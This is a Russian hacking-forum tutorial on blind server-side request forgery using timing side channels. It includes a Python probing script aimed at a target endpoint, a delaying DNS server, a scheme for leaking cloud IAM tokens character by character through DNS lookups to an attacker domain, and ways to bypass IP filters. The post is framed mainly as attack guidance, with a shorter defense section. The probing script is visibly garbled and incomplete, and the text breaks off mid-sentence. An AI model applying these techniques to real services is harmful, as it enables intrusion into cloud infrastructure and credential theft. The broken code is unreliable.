ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

15.01.2026, 22:33
|
|
Новичок
Регистрация: 14.11.2025
Сообщений: 0
Провел на форуме: 0
Репутация:
0
|
|
Опять эти ваши SSRF... или почему прямо сейчас самое время учиться слепым атакам
Привет, сетевой народ. Тот, кто здесь, в этом тихом углу сети, а не на порталах с очередным «топ-10 уязвимостей». Если ты читаешь это, значит, наша прошлая беседа об SSRF как о золотом билете в облачные метаданные не просто зацепила тебя за живое, а заставила почувствовать тот самый холодок азарта - когда из безликого HTTP-запроса вдруг материализуется ключ от всего королевства. Ты не просто прочитал ту статью. Ты открыл пару консолей, поднял тестовый стенд, возможно, даже нашел что-то у себя и тихо выругался, осознав масштаб. Что ж, отлично. Ты прошел посвящение. Ты должен был уяснить железное правило: классическая SSRF - это ситуация, когда приложение, как самый покорный пес, беспрекословно тащит тебе в зубах ровно то, что ты приказал: будь то чувствительное содержимое файла
, ответ от внутреннего, никому не ведомого HTTP-сервиса на
Код:
httр://192.168.1.1/admin
, или, что есть настоящий джекпот — свеженький, теплый IAM-токен, только что снятый с ротации метаданных с
Код:
httр://169.254.169.254
. Это диалог. Тебя видят. Ты в открытую диктуешь условия и получаешь прямой, недвусмысленный фидбэк. Это сила. Но это сила грубая, заметная, громкая.
Но мир, брат, не стоит на месте. Особенно мир параноидальных DevOps и Security-инженеров, которые тоже читают наши статьи. Они учатся. WAF'ы из безмозглых наборов сигнатур эволюционируют в чудовищ, способных анализировать поведение.
Облачные провайдеры, ободранные до нитки на миллионы долларов, вводят дополнительные проверки: IMDSv2 в AWS с обязательным заголовком
Код:
X-aws-ec2-metadata-token
, который нужно получить отдельным PUT-запросом - прямой удар по наивным SSRF. Прямой вывод данных наружу все чаще упирается не в кирпичную стену, а в интеллектуальную мембрану, которая пропускает воду, но задерживает рыбу. И вот тут, в этот самый момент, когда классик махнул бы рукой, на сцену выходит ее величество - Слепая SSRF (Blind SSRF). Не королева красоты, а королева подполья, мастер теней и интерпретатор тишины.
Представь себе конкретную, приземленную ситуацию, которую ты наверняка встречал: ты нашел
.
Скажем,
Код:
/api/webhook-validator, /admin/url-preview
,
Код:
/export/fetch-remote
. Он принимает параметр
,
,
. Документация говорит: «Система проверяет доступность URL» или «Импортирует данные по ссылке». Ты подсовываешь
Код:
httр://169.254.169.254
. И… ничего. Вернее, не совсем ничего. Приложение не падает, не возвращает тебе содержимое метаданных. Оно возвращает штатное, скучное: {
,
Код:
"message": "URL processed"
}. Или {
Код:
"error": "Unable to fetch resource"
}. Или интерфейс просто показывает «Готово». Ни строчки прямого ответа от целевого хоста. Классический пентестер, работающий по чек-листу и мыслящий бинарно (уязвимо/неуязвимо), с высокой долей вероятности занесет это в отчет как «Low severity» или даже «Informational»: «Найден потенциальный вектор для SSRF, однако подтвердить эксплуатацию не удалось из-за отсутствия вывода данных. Рекомендация: провести code review. И пойдет дальше, к более ярким и кричащим уязвимостям.
Мы - не идем дальше. Мы - копаем. Потому что именно здесь, в этой тихой заводной коробочке без видимого циферблата, и спрятаны настоящие часы, отмеряющие время до компрометации всей инфраструктуры.
Слепая SSRF - это высшая лига. Это не «морской бой в темноте». Это игра в шахматы с абсолютно глухим и слепым гроссмейстером, где единственный способ понять его ход - это измерить, как долго он думает, прежде чем подвинуть фигуру. Ты атакуешь координаты:
Код:
httр://internal-service.local/
. Но не видишь, попал ли ты в корабль - живой, отзывчивый внутренний сервис, который мгновенно ответил приложению
, - или в «пустую воду» - сетевую чёрную дыру, где запрос повис в ожидании таймаута. Нужен иной, нетривиальный канал обратной связи. И самый надежный, фундаментальный, который практически невозможно отключить, не сломав логику самого приложения, — это время.
Триггеры времени отклика (Time-based triggers) - наша сегодняшняя тема, наше оружие и наш язык. Это не просто констатация факта «запрос долго висит». Это целая наука, почти алхимия, о том, как заставить серверную инфраструктуру, эту черную коробку, раскрыть свои секреты через управляемые паузы и измеряемые задержки. Если в прошлый раз мы говорили о прямом доступе - о том, как выломать дверь и заглянуть внутрь, - то сегодня мы говорим о сейсмологии. Мы учимся прикладывать геофон к стене дата-центра и слушать, как под землей, в толще сетевых пакетов и системных вызовов, проходят толчки, вызванные нашими действиями. Мы учимся читать метки времени не как технический лог, а как брайлевский шрифт, которым инфраструктура нащупывает свое собственное состояние.
Мы погрузимся в устройство HTTP-клиентов в разных языках, разберем как усиливать слабый временной сигнал, построим собственные инструменты для DNS-манипуляций и научимся отличать статистическую аномалию от реального успеха. Мы напомним, как из прошлой статьи о метаданных вынести не просто список IP-адресов, а понимание ценности цели. Потому что слепую атаку имеет смысл проводить только на то, что действительно стоит таких усилий. А облачные метаданные - стоят. Всегда.
Готовь кофе, отключай лишние вкладки. Мы начинаем слушать тишину.
0x01. Механика слепой SSRF: Почему время - наш союзник
Чтобы понять силу времени, нужно понять, что происходит «под капотом» при Blind SSRF. - Ты → Приложение:
Код:
POST /api/fetch?url=http://169.254.169.254/latest/meta-data/
- Приложение (на бэкенде) пытается загрузить этот URL.
- Что-то происходит:
- Вариант А (Успех): Внутренний
Код:
endpoint 169.254.169.254
отвечает быстро. Приложение получает ответ, обрабатывает его (но не выдает тебе), и отправляет тебе свой финальный ответ (например,
). Время выполнения запроса - ~50 мс.
- Вариант Б (Таймаут/Блокировка): Сетевые правила или сам облачный мета-сервис (который сейчас часто требует специального заголовка) отвергают соединение или отвечают ошибкой
,
). Приложение ловит исключение и сразу отдает тебе ответ, возможно, даже с ошибкой. Время выполнения - ~100-500 мс (пока таймаут не сработает).
- Вариант В (Несуществующий адрес): Приложение пытается разрешить DNS-имя
Код:
internal-service.local
, не находит его. Таймаут на разрешении имени. Время выполнения - ~2000-5000 мс (зависит от таймаутов в библиотеке).
Видишь разницу? Разница во времени - это наш бит информации. 50 мс против 2000 мс - это гигантский, статистически значимый разрыв. Это уже не слепота, это зрение с разрешением в миллисекунды.
Почему это работает почти всегда?
Потому что разработчик, пишущий код для загрузки URL, редко задумывается о таймингах как об векторе атаки. Он ставит стандартные таймауты (скажем, 5 секунд), ловит исключения и логирует их. Его цель - чтобы приложение не «висло». Наша цель - измерить эту разницу и сделать из нее выводы.
Ключевой принцип: Мы не можем прочитать ответ от внутреннего сервиса, но мы можем обнаружить факт его существования, доступности и иногда даже косвенно определить его характер по времени отклика или по сторонним эффектам (о которых позже).
0x02. Практический инструмент №1: Наш скальпель - скрипт на Python с
Забудь про curl в цикле bash. Для слепой SSRF на основе времени нам нужны три вещи: асинхронность (чтобы запускать сотни запросов параллельно), точный замер времени (желательно монотонное время) и гибкость в подстановке данных.
Вот основа, наш «рабочий конь». Сохрани его как
.
Python:
Код:
#!/usr/bin/env python3
"""
Blind SSRF Time-based Detective v0.1
"""
import
asyncio
import
aiohttp
import
time
import
sys
from
urllib
.
parse
import
quote
from
datetime
import
datetime
import
argparse
import
random
# --- КОНФИГ ---
TARGET_URL
=
"https://vulnerable-target.com/api/import"
# Целевой эндпоинт
METHOD
=
"POST"
# Или "GET"
# Параметр, в который подставляется наш URL
PARAM_NAME
=
"url"
# Дополнительные данные для POST (если нада)
POST_DATA
=
{
"some_key"
:
"some_value"
}
# aiohttp будет использовать form data
# Или используй json=... в session.post
USE_JSON
=
False
# Заголовки
HEADERS
=
{
"User-Agent"
:
"Mozilla/5.0 (Our-Hacking-Tool/1.0)"
,
"Content-Type"
:
"application/x-www-form-urlencoded"
if
not
USE_JSON
else
"application/json"
}
# Таймаут для *нашего* запроса к целевому приложению (должен быть больше ожидаемых задержек)
REQUEST_TIMEOUT
=
30
# Количество параллельных запросов
CONCURRENCY
=
20
# --- ГЛОБАЛЬНЫЕ СТАТЫ ---
stats
=
{
"total"
:
0
,
"success"
:
0
,
"errors"
:
0
,
"timings"
:
[
]
}
async
def
probe
(
session
,
test_url_to_fetch
,
test_name
=
"Test"
)
:
"""
Отправляет один зондирующий запрос к целевому приложению.
test_url_to_fetch - это тот URL, который мы заставляем целевое приложение получить (SSRF).
"""
global
stats
stats
[
"total"
]
+=
1
# Формируем данные запроса
params
=
{
PARAM_NAME
:
test_url_to_fetch
}
data
=
None
json_data
=
None
if
METHOD
.
upper
(
)
==
"POST"
:
if
USE_JSON
:
# Обновляем JSON, подставляя параметр
json_data
=
{
**
POST_DATA
,
PARAM_NAME
:
test_url_to_fetch
}
else
:
# Form data: добавляем параметр к существующим данным
data
=
{
**
POST_DATA
,
PARAM_NAME
:
test_url_to_fetch
}
else
:
# Для GET параметры пойдут в URL строку
params
=
{
**
params
,
**
POST_DATA
}
# POST_DATA в данном случае просто другие GET-параметры
target_url
=
TARGET_URL
if
METHOD
.
upper
(
)
==
"GET"
and
params
:
# Простейший способ сформировать query string (лучше использовать urllib)
from
urllib
.
parse
import
urlencode
target_url
=
TARGET_URL
+
"?"
+
urlencode
(
params
)
params
=
{
}
start_time
=
time
.
monotonic
(
)
try
:
async
with
session
.
request
(
method
=
METHOD
,
url
=
target_url
,
params
=
params
if
METHOD
.
upper
(
)
==
"GET"
else
None
,
data
=
data
,
json
=
json_data
,
headers
=
HEADERS
,
timeout
=
aiohttp
.
ClientTimeout
(
total
=
REQUEST_TIMEOUT
)
)
as
resp
:
# Читаем тело ответа, даже если оно пустое (важно для завершения запроса)
response_body
=
await
resp
.
text
(
)
end_time
=
time
.
monotonic
(
)
elapsed_ms
=
(
end_time
-
start_time
)
*
1000
stats
[
"success"
]
+=
1
stats
[
"timings"
]
.
append
(
elapsed_ms
)
# Анализируем ответ
status
=
resp
.
status
# Иногда даже при слепой SSRF по статусу кодам можно что-то понять (500 vs 200)
print
(
f"[{datetime.now().strftime('%H:%M:%S')}]{test_name:{test_url_to_fetch}"
)
return
elapsed_ms
,
status
,
response_body
[
:
200
]
# Возвращаем первые 200 символов тела
except
asyncio
.
TimeoutError
:
end_time
=
time
.
monotonic
(
)
elapsed_ms
=
(
end_time
-
start_time
)
*
1000
print
(
f"[{datetime.now().strftime('%H:%M:%S')}]{test_name:{test_url_to_fetch}"
)
return
elapsed_ms
,
"TIMEOUT"
,
""
except
Exception
as
e
:
end_time
=
time
.
monotonic
(
)
elapsed_ms
=
(
end_time
-
start_time
)
*
1000
print
(
f"[{datetime.now().strftime('%H:%M:%S')}]{test_name:{url}"
)
print
(
"\nСамые МЕДЛЕННЫЕ ответы (таймауты, блокировки):"
)
for
name
,
url
,
(
elapsed
,
status
,
_
)
in
successful_results
[
-
10
:
]
:
print
(
f"{elapsed:7.2f}ms |{name:{url}"
)
# Вычисляем медиану и ищем аномалии
times
=
[
res
[
2
]
[
0
]
for
res
in
successful_results
]
median_time
=
sorted
(
times
)
[
len
(
times
)
//
2
]
print
(
f"\n[*] Медианное время ответа:{median_time:.2f}ms"
)
print
(
"[*] Кандидаты на внутренние сервисы (значительно быстрее медианы):"
)
for
name
,
url
,
(
elapsed
,
status
,
_
)
in
successful_results
:
if
elapsed
{url}"
)
# Статистика
print
(
f"\n[*] Статистика: Всего:{stats['total']}, Успешно:{stats['success']}, Ошибок:{stats['errors']}"
)
if
__name__
==
"__main__"
:
asyncio
.
run
(
main
(
)
)
Что этот скрипт делает и как его кастомизировать:- Он асинхронный. Не ждет ответа на один запрос, чтобы отправить следующий.
означает 20 параллельных запросов. Это важно для скорости и для создания «шума», который иногда помогает обойти простые системы защиты.
- Он использует
. Это часы, которые не могут идти назад и не зависят от системного времени. Идеально для замера интервалов.
- Он гибкий. Через
,
,
,
настраивается под конкретную найденную уязвимость.
- Он включает контрольные точки.
Код:
httр://httpbin.org/delay/0.1
и
дают нам калибровку. Мы знаем, как выглядит быстрый (100мс) и медленный (3000мс) ответ от цели через приложение. Это наш baseline.
- Он автоматически анализирует. В конце скрипт сортирует результаты, вычисляет медиану и выделяет аномально быстрые ответы - наших главных кандидатов на успешную SSRF к внутренним сервисам.
Как использовать:- Найди
, который, как ты подозреваешь, совершает слепые запросы.
- Подставь его данные в конфигурацию скрипта.
- Запусти базовый тест:
Код:
python3 blind_ssrf_timer.py
- Посмотри на вывод. Если запрос к
выполнился за 80мс, а к несуществующему
- за 2500мс, у тебя на руках явный признак успешной SSRF к облачным метаданным, даже если тебе не показали токен.
Это основа. Теперь углубимся в продвинутые техники.
0x03. Продвинутые триггеры: Заставляем сервер «протянуть ноги»
Иногда разница в 50мс и 2000мс очевидна. Но что, если сеть «шумит», или таймауты приложения настроены агрессивно (например, 500мс), или внутренний сервис отвечает не мгновенно? Нужно усиливать сигнал. Наша задача - сделать так, чтобы успешный SSRF-запрос занимал значительно больше или значительно меньше времени, чем неуспешный.
Техника 1: Таймаут на соединении vs таймаут на чтении.
Библиотеки (
в PHP,
в Python,
в Java) обычно имеют два основных таймаута: connection timeout и read timeout. Мы можем создавать условия, где один срабатывает, а другой - нет. - Если внутренний сервис доступен и «молчит»: Мы можем указать в SSRF URL, который откроет соединение (TCP handshake успешен), но затем ничего не пошлет в ответ. Например, мы подключаемся к открытому порту
, который ждет команд в своем протоколе. Приложение установит соединение (быстро), а потом будет висеть на
, пока не получит данные или не сработает таймаут (скажем, 5 секунд). Долгая задержка!
- Если внутренний сервис недоступен:
не удастся, сработает
(обычно меньше, 1-2 секунды). Относительно короткая задержка.
Практика: Вместо
Код:
httр://internal-host/
пробуем
Код:
httр://internal-host:6379/
. Redis, Memcached, базы данных - отличные кандидаты. Важно: приложение должно использовать библиотеку, которая сначала устанавливает TCP-соединение для HTTP-запроса. Большинство так и делают.
Техника 2: DNS-задержки как индикатор.
Это одна из самых изящных техник. Помнишь вариант «В» в механике? Если приложение пытается разрешить DNS-имя и не может, это занимает много времени. Мы можем контролировать это. - Сценарий: У нас есть SSRF, но фильтруют по IP (только внутренние адреса). Мы можем попробовать использовать DNS-имена.
- Как использовать: Заставляем приложение делать запрос к
Код:
httр://our-unique-subdomain.our-server.com/
.
- Что делаем на our-server.com: Поднимаем DNS-сервер (например, dnsmasq), который для всех запросов возвращает IP внутреннего сервиса (например,
), но делает это с разной задержкой.- Для домена
отвечаем мгновенно.
- Для домена
отвечаем с задержкой в 5 секунд.
- Логика: Если приложение может сделать DNS-запрос (сеть разрешает), то оно получит ответ с нашей задержкой. Разница во времени выполнения запроса между fast и slow доменами будет четко видна. Если же приложение не может делать внешние DNS-запросы (заблокировано), оба запроса, скорее всего, завершатся с таймаутом на разрешении имени (и будут медленными и примерно одинаковыми).
Практический инструмент №2: Простейший задерживающий DNS-сервер на Python (скетч).
Python:
Код:
#!/usr/bin/env python3
"""
Minimal DNS server for time-based SSRF detection.
Запуск: sudo python3 dns_delayer.py (порт 53 требует прав)
"""
from
dnslib
import
DNSRecord
,
QTYPE
,
RR
,
A
from
dnslib
.
server
import
DNSServer
import
time
class
DelayedDNSResolver
:
def
resolve
(
self
,
request
,
handler
)
:
reply
=
request
.
reply
(
)
qname
=
request
.
q
.
qname
qtype
=
request
.
q
.
qtype
print
(
f"[DNS] Запрос:{qname}, тип:{QTYPE[qtype]}"
)
# Наш секретный внутренний IP, который вернется
internal_ip
=
"127.0.0.1"
# Логика задержки по поддомену
domain_str
=
str
(
qname
)
if
"fast"
in
domain_str
:
delay
=
0.0
print
(
f" -> FAST (0s)"
)
elif
"slow"
in
domain_str
:
delay
=
5.0
print
(
f" -> SLOW (5s)"
)
elif
"ping"
in
domain_str
:
# Для проверки пинга - минимальная задержка
delay
=
0.1
print
(
f" -> PING (0.1s)"
)
else
:
delay
=
2.0
print
(
f" -> DEFAULT (2s)"
)
# Имитируем задержку сети
time
.
sleep
(
delay
)
# Возвращаем ответ
if
qtype
==
QTYPE
.
A
:
reply
.
add_answer
(
RR
(
qname
,
QTYPE
.
A
,
rdata
=
A
(
internal_ip
)
,
ttl
=
60
)
)
return
reply
resolver
=
DelayedDNSResolver
(
)
server
=
DNSServer
(
resolver
,
port
=
53
,
address
=
"0.0.0.0"
)
print
(
"[*] Задерживающий DNS-сервер запущен на порту 53 (udp)..."
)
server
.
start
(
)
Теперь в SSRF-параметр мы подставляем:
Код:
httр://fast.our-server.com/test
- если это вызовет быстрый ответ от приложения, значит, DNS-запрос прошел.
Код:
httр://slow.our-server.com/test
- должен быть медленным.
Код:
httр://random123.our-server.com/test
- должен быть со средней задержкой.
Разница во времени - доказательство того, что приложение делает DNS-запросы и мы можем использовать DNS для обхода IP-фильтров (например, подставляя CNAME-записи, ведущие на внутренние адреса).
Техника 3: Эксплуатация различий в обработке ошибок.
Иногда само приложение или бэкендовый компонент (типа curl) по-разному обрабатывает разные типы сетевых ошибок. Одна ошибка может обрабатываться мгновенно (например,
на закрытом порту), другая - вызывать длительный таймаут (например, попытка SSL handshake с портом, который открыт, но не говорит по HTTPS).
Попробуй: - (SSH порт, может сразу отказать в соединении или «висеть»).
Код:
httрs://internal:443/
(Если порт 443 открыт для другого протокола, SSL handshake будет ждать своих таймаутов).
Код:
httр://internal:80/../../../
(Иногда при обработке такого URL сервер тратит больше времени на разбор пути).
0x04. От обнаружения к эксплуатации: Слепое чтение данных
Допустим, мы точно установили, что SSRF есть и мы можем взаимодействовать с внутренним сервисом (например, с тем же мета-сервисом
). Но он не отдает данные в ответ. Как прочитать токен IAM или содержимое файла метаданных?
Здесь время становится нашим битом данных.
Метод: Бинарный поиск через временные задержки (Time-based Blind Data Exfiltration).
Идея: мы заставляем внутренний сервис отвечать быстро, если наш «угадываемый» бит информации верен, и медленно - если неверен.
Сценарий:
Мы хотим прочитать первый символ IAM-токена из
Код:
httр://169.254.169.254/latest/meta-data/iam/security-credentials/rolename
. - Мы знаем, что токен выглядит как
. Нам нужен первый символ.
- Мы не можем сделать так:
Код:
httр://meta-server/...?token=AQ...
и посмотреть ответ.
- Но мы можем сделать так: заставить внутренний сервис (или само приложение) сравнить первый символ токена с нашим угадываемым символом и, в зависимости от результата, вызвать задержку.
Как вызвать задержку? Есть несколько методов: - DNS, опять же. Мы заставляем внутренний сервис сделать DNS-запрос к
Код:
guess.оur-server.com
, но только если условие верно. Наш DNS-сервер отвечает с задержкой в 5 секунд. Если приложение «зависло» на 5 секунд - бит угадан верно.
- Сетевые задержки. Мы можем попробовать заставить сервер подключиться к порту, который отвечает медленно (см. технику 1). Например, если символ угадан, в SSRF-запросе мы указываем URL, который ведет на наш сервер с открытым TCP-портом, но который ничего не шлет (вызывая
). Если не угадан - указываем URL на закрытый порт (быстрый
).
- Логика в самом приложении (сложнее, но возможно). Если мы можем внедрить какую-то сложную URL-схему, которую бэкенд будет разбирать (например,
с инъекцией в путь), мы можем попробовать создать условие, где чтение файла происходит дольше (например, файл большой) при верном бите.
Практическая схема с DNS (классика):- На стороне атакующего: Сервер, который может динамически генерировать DNS-имена с задержкой.
- Атакующий посылает в SSRF сложный URL:
Код:
httр://169.254.169.254/latest/meta-data/iam/security-credentials/s3-reader?
+ какая-то инъекция, которая заставляет мета-сервис сделать HTTP-запрос на
Код:
httр://first-char-of-tоken-our-random-.our-server.com.
- Как заставить мета-сервис сделать запрос? Обычно нельзя. Но можно попробовать использовать техники подделки запросов (например, через редиректы, если мета-сервис их поддерживает, или через инъекцию в заголовки, если приложение их проксирует).
- Если первый символ токена - A, то мета-сервис попытается разрешить имя
Код:
а-abc123.оur-server.com
. Наш DNS-сервер видит, что первый поддомен начинается с A, и отвечает с задержкой 5 секунд. Весь запрос приложения к мета-сервису (а значит, и наш исходный запрос) занимает ~5.1 секунды.
- Если мы проверяли символ B, DNS-запрос был бы к
Код:
В-аbc123.our-server.com
, наш сервер отвечал бы мгновенно, и общее время было бы ~0.1 секунды.
- Измеряя время, мы узнаем первый символ. Процесс повторяется для каждого символа.
Это сложно. Это требует контроля над несколькими компонентами (DNS, возможно, HTTP-сервер для редиректов), глубокого понимания поведения целевого приложения и мета-сервиса. Часто проще, обнаружив слепую SSRF к метаданным, попытаться эскалировать ее до не-слепой, например: - Попробовать получить токен не через
Код:
latest/meta-data/iam/security-credentials/
, а через
. Иногда там скрипты с ключами.
- Попробовать использовать уязвимости в самом API метаданных (их немного, но они есть).
- Искать
помимо времени: например, можно попробовать вызвать ошибку в приложении, если мета-сервис вернет определенный статус-код (ошибка
). Это уже не time-based, а error-based слепая SSRF.
0x05. Оборона: Как не стать жертвой (для наших же своих)
Если ты разраб или девопс, читающий это не для атаки, а для защиты - тебе сюда. Понимание атаки - первый шаг к защите.
1. Валидация и санация входных данных - это must, но не silver bullet.- Белые списки схем (
) и доменов - лучшее решение, если функционал позволяет.
- Черные списки (
,
,
,
, приватные диапазоны) обходимы. Через IPv6, альтертивные представления IP
Код:
(2130706433 для 127.0.0.1
), DNS-ребейндинг, поддомены (
).
- Парси URL строго. Используй стандартные библиотеки, извлекай
после всех редиректов и нормализаций. Проверяй его через DNS-разрешение и сверяй полученный IP со списком запрещенных.
2. Сетевая сегментация и политики. Это самый сильный рубеж. - Исходящий трафик с бэкенд-серверов приложений должен быть строго ограничен. Запрещено все, что не разрешено явно. Нужно ходить во внешний мир для платежных шлюзов, API? Разреши только
этих шлюзов.
- Доступ к метаданным изнутри облака должен быть заблокирован на уровне сетевых политик (Security Groups, NACL, VPC Firewall Rules) для всех инстансов, кроме тех, которым это критически необходимо (и для них доступ нужно максимально ограничить по IAM-ролям).
- Используй проектные VPC/изолированные сети. Сервис приложения не должен иметь маршрута до
.
3. Таймауты и логирование.- Устанавливай агрессивные таймауты на исходящие HTTP-запросы с бэкенда (например, 2 секунды на соединение, 3 секунды на чтение). Это сократит окно для time-атак.
- Логируй все попытки запросов к запрещенным адресам (по DNS-имени и IP) с высокой
. Лог должен содержать исходный IP пользователя, запрошенный URL и
. Это позволит детектировать атаку.
4. Использование прокси-сервисов.- Все исходящие запросы приложения должны идти через контролируемый прокси-сервер (например, Squid с strict ACL), который сам выполняет фильтрацию. Это выносит точку контроля за пределы кода приложения.
5. Заголовки для облачных метаданных.- Для AWS: На последних версиях IMDSv2 обязательно требовать заголовок
Код:
X-aws-ec2-metadata-token
. Это убивает большинство простых SSRF-атак на метаданные, так как для получения токена нужен PUT-запрос, который редко поддерживается в уязвимых функциях загрузки URL.
- Для GCP и Azure также рекомендуется использовать последние версии API метаданных, которые требуют специальных заголовков.
6. Регулярный пентест.- Проводи тесты на слепую SSRF против своих API. Используй инструменты вроде ffuf или наш скрипт выше с кастомизированными вордлистами (включая все внутренние IP твоего VPC, все возможные адреса метаданных, локальные адреса контейнеров
).
0x06. Итоги. Или «Зачем мы потратили столько времени на время»
Если ты дочитал до этого места, пропустив через себя все эти скрипты, схемы и размышления о DNS-задержках, значит, тебе это не просто любопытно. Ты один из тех, кто понимает, что реальная безопасность и реальное тестирование на проникновение живут не в зеленых галочках сканеров, а в серой зоне косвенных улик и аномалий. Давай закрепим это понимание и выведем его на уровень, на котором ты начнешь думать в этих категориях даже без скриптов под рукой.
Слепая SSRF через триггеры времени отклика - это не просто очередной «вектор атаки». Это принципиально иной способ взаимодействия с системой. Это переход от диалога к диалогу с эхом, от прямого запроса к наблюдению за отраженными вибрациями. Пока мейнстрим ломится в парадную дверь, проверяя стандартные пэйлоады из списка, мы учимся слушать стены.
Почему это искусство, а не просто техника?
Потому что оно требует триады навыков, которую не заменит ни один автоматизированный сканер: - Инженерная интуиция. Ты должен представлять себе архитектуру: где может быть внутренний сервис (
Код:
Kubernetes DNS *.pod.cluster.local
?
Код:
Docker-сеть 172.17.0.0/16
?
Код:
Legacy-система на 10.10.10.0/24
?), как настроены таймауты в типовых библиотеках (знать, что curl по умолчанию ждет вечность, а requests в Python имеет разумные дефолты), понимать разницу между
и
. Это знание приходит не из документации к уязвимости, а из опыта разбора тысяч стектрейсов и конфигураций.
- Статистическое мышление. В реальном мире сеть «шумит». Пинг нестабилен. Нагрузка на сервер гуляет. Твои замеры в 50 мс и 80 мс могут быть статистическим шумом. Нужно уметь отличать сигнал от шума. Отсюда важность базовой линии (baseline). Ты всегда должен начинать с контрольных точек: запрос к быстрому внешнему ресурсу (
Код:
httр://httpbin.org/delay/0.1
) и к медленному/недоступному. Это твои калибровочные метки. И важно проводить не один, а десяток запросов, смотреть на медиану, на квантили, а не на единичное значение. Автоматизация (как в нашем скрипте) нужна не для скорости, а для сбора статистически значимой выборки.
- Терпеливая изобретательность. Техника с DNS-задержками - прекрасный пример. Это не готовый сплойт. Это конструктор. Ты берешь фундаментальный протокол (DNS), вспоминаешь, что на его уровне можно инжектить задержки, и комбинируешь это с ограничениями SSRF (фильтрация IP). Рождается новый метод обхода. То же самое с таймаутами на чтение vs соединение. Это не поиск уязвимости - это создание условия, при котором уязвимость проявляет себя.
Из прошлой статьи мы вынесли железный принцип: облачные метаданные - это цель №1. Ты должен знать наизусть не только
, но и все его варианты: - AWS IMDSv2 и требование заголовка
Код:
X-aws-ec2-metadata-token
.
- GCP с его
Код:
metadata.google.internal
и обязательным заголовком
Код:
Metadata-Flavor: Google
.
- Azure с его длинным путем
Код:
/metadata/instance?api-version=....
- Alibaba Cloud, DigitalOcean, Oracle Cloud - у каждого своя точка.
- И главное: сервисы вроде AWS ECS, где метаданные контейнера доступны через
и переменную окружения
Код:
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
.
Из этой статьи мы выносим более глубокий принцип: даже если прямое чтение метаданных (или любого другого внутреннего ресурса) заблокировано, система почти всегда «протекает» через временные каналы. Это фундаментально. Сеть, DNS, обработка исключений - все это занимает время. И это время можно измерить. Твоя задача превратить эту «утечку времени» в бит информации. Представь, что у толстой двери нет замочной скважины, но есть микроскопическая щель под ней. Ты не можешь заглянуть внутрь, но ты можешь направить на щель луч света и, анализируя малейшие изменения в отраженном свете (его цвет, мерцание, задержку), понять, что происходит в комнате. А иногда — уловить ритм, с которым кто-то внутри ходит, и под этот ритм синхронизировать свои действия, чтобы дверь дрогнула.
Твои инструменты теперь - не просто скрипты, а ментальные модели:- Мышление в миллисекундах и вероятностях. Каждый запрос - не «успех/провал», а точка на графике с координатой «время». Ты ищешь кластеры точек. Группа запросов к
легла в облако вокруг 120 мс? А группа запросов к случайным несуществующим IP
- вокруг 2500 мс? Поздравляю, ты только что слепо подтвердил наличие и доступность мета-сервиса. Это вероятностное, статистическое доказательство. Оно не абсолютно, но в сочетании с другими данными (например, HTTP-кодами 200 vs 500) становится железным.
- Асинхронный скрипт-зонд для первичной разведки - это твои глаза и уши.Но помни:
- Калибруй его. Перед атакой на продакшн протестируй на своем стенде с похожей архитектурой. Узнай, как ведет себя твое целевое приложение в «норме».
- Настраивай таймауты. Параметр
в скрипте - это не просто число. Если ты его поставишь 5 секунд, а приложение на своей стороне имеет таймаут 10 секунд, ты не дождешься отличий. Нужно пытаться подобрать.
- Анализируй не только время. Смотри на HTTP-статусы, на размер ответа (даже если это просто
- его размер постоянен? А если при внутренней ошибке приложение возвращает
Код:
{"status":"error", "reason":"..."}
- размер изменился? Это еще один, независимый от времени, side-channel).
- Вноси «шум» целенаправленно. Иногда полезно добавить в очередь запросов случайные, заведомо медленные вызовы, чтобы проверить, не детектирует ли система атаку и не начинает ли она искусственно «сглаживать» тайминги.
- Понимание техник усиления сигнала - это твой усилитель.
- DNS-задержки - твой лучший друг для обхода IP-фильтров и создания бинарных условий («если верно, то жди 5 секунд»). Практическое задание: подними
на своей VPS, настрой две зоны:
Код:
fast.lab с TTL 1 и ответом A 127.0.0.1
, и
Код:
slow.lab с A 127.0.0.1
, но с искусственной задержкой в 3 секунды в конфиге через
. Поэкспериментируй.
- Таймауты соединения vs чтения. Запомни: порт
на живом хосте часто сразу закрывает соединение, отправляя
. Это быстро. Порты типа
,
Код:
9200 (Elasticsearch)
,
принимают соединение и ждут данных по своему протоколу. Это вызовет долгий
. Используй это для фингерпринтинга внутренних сервисов.
- Разные схемы URL. Попробуй
,
,
(если разрешено). Поведение библиотек при обработке неизвестных схем или ошибках доступа к файловой системе может кардинально отличаться по времени.
- Знание оборонительных тактик - это твоя обратная сторона, которая делает тебя сильнее в атаке.Ты не просто ищешь дыры. Ты понимаешь, как их латают. Поэтому ты знаешь, где будут слабые места в заплатах:
- Фильтрация по черному списку IP? Обойдем через
, через десятичное представление, через DNS-ребейндинг (
Код:
lоcalhost.attacker.com
→
→
).
- Запрет HTTP к метаданным? Попробуем HTTPS. Заблокировали и HTTPS? Проверим, не забыли ли они про
, который требует PUT-запроса для токена. Может, старая версия API еще жива?
- Жесткие таймауты на приложении? А что, если внутренний сервис ответит еще быстрее, чем таймаут на ошибку? Нужно искать не только медленные, но и аномально быстрые ответы.
Это не конец. Это следующий уровень понимания.
Слепая SSRF - это трамплин. Освоив ее, ты начинаешь видеть аналогичные паттерны повсюду: - Blind SQL Injection: Тот же принцип - заставляешь базу данных спать
при верном условии.
- Blind OS Command Injection: Команда
Код:
ping -c 10 127.0.0.1
создает задержку.
- RCE через цепочки внутренних сервисов: Обнаружив через слепую
на
, можно попробовать слепо отправить туда запрос на сборку, а время ответа укажет на успех.
- Out-of-Band (OAST) техники: Это логическое развитие. Если время - канал, то почему бы не использовать DNS, HTTP или даже ICMP-трафик на твой сервер как канал? Это уже не просто задержка, а полноценная эксфильтрация данных. Инструменты вроде
или
построены на этой идее.
Ты перестаешь быть «пользователем уязвимостей» и становишься инженером побочных каналов. Ты больше не спрашиваешь «Что мне вставить в этот параметр?». Ты спрашиваешь: «Как я могу заставить эту систему выдать различимое, измеримое состояние при истинности одного бита моей гипотезы?».
Финальный инструктаж, по-нашему:- Собери свой арсенал. Модифицируй приведенный скрипт. Добавь в него графики (библиотека
